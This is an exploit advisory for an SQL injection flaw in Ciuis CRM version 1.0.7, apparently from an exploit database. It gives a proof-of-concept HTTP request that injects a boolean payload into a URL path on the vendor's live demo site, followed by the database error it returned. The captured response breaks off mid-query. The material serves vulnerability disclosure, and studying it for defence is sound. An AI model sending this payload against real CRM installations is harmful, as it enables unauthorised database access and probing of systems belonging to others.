Ciuis CRM 1.0.7 - SQL Injection

# Exploit Title: [Ciuis CRM v 1.0.7 Sql Injection]
# Google Dork: [if applicable]
# Date: [12/15/2017]
# Exploit Author: [Zahid Abbasi]
# Contact: http://twitter.com/zahidsec
# Website: http://zahidabbasi.com
# Vendor Homepage: [http://ciuis.com/]
# Software Link: [https://codecanyon.net/item/ciuis-crm/20473489]
# Version: [1.0.7] (REQUIRED)
# Tested on: [Win 7 64-bit]
# CVE : [if applicable]

1. Description

The injection required user registration on CIUS CRM. Old versions have 
not been tested but it's a guess, they are also vulnerable.
The URL path filename appears to be vulnerable to SQL injection attacks.
The payload 65079277 or 7647=07647 was submitted in the URL path 
filename, and a database error message was returned.
You should review the contents of the error message, and the 
application's handling of other input, to confirm whether a 
vulnerability is present.

2. Proof of Concept

The live testing was done on demo site of the script.
https://ciuis.com/demo/accounts/account/4 [URL path filename]
Request:-
GET /demo/accounts/account/465079277%20or%207647%3d07647 HTTP/1.1
Host: ciuis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) 
Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ci_session=98b5ef21cb2d123fb376f135218129226808fbec
Connection: close
Upgrade-Insecure-Requests: 1
Response:-
After placing our injection code and forwarding the request. The html 
response is posted below.
<div id="container">
        <h1>A Database Error Occurred</h1>
        <p>Error Number: 1064</p><p>You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the 
right syntax to use near 'and `transactiontype` =0)' at line 
3</p><p>SELECT SUM(`amount`) AS `amount`
--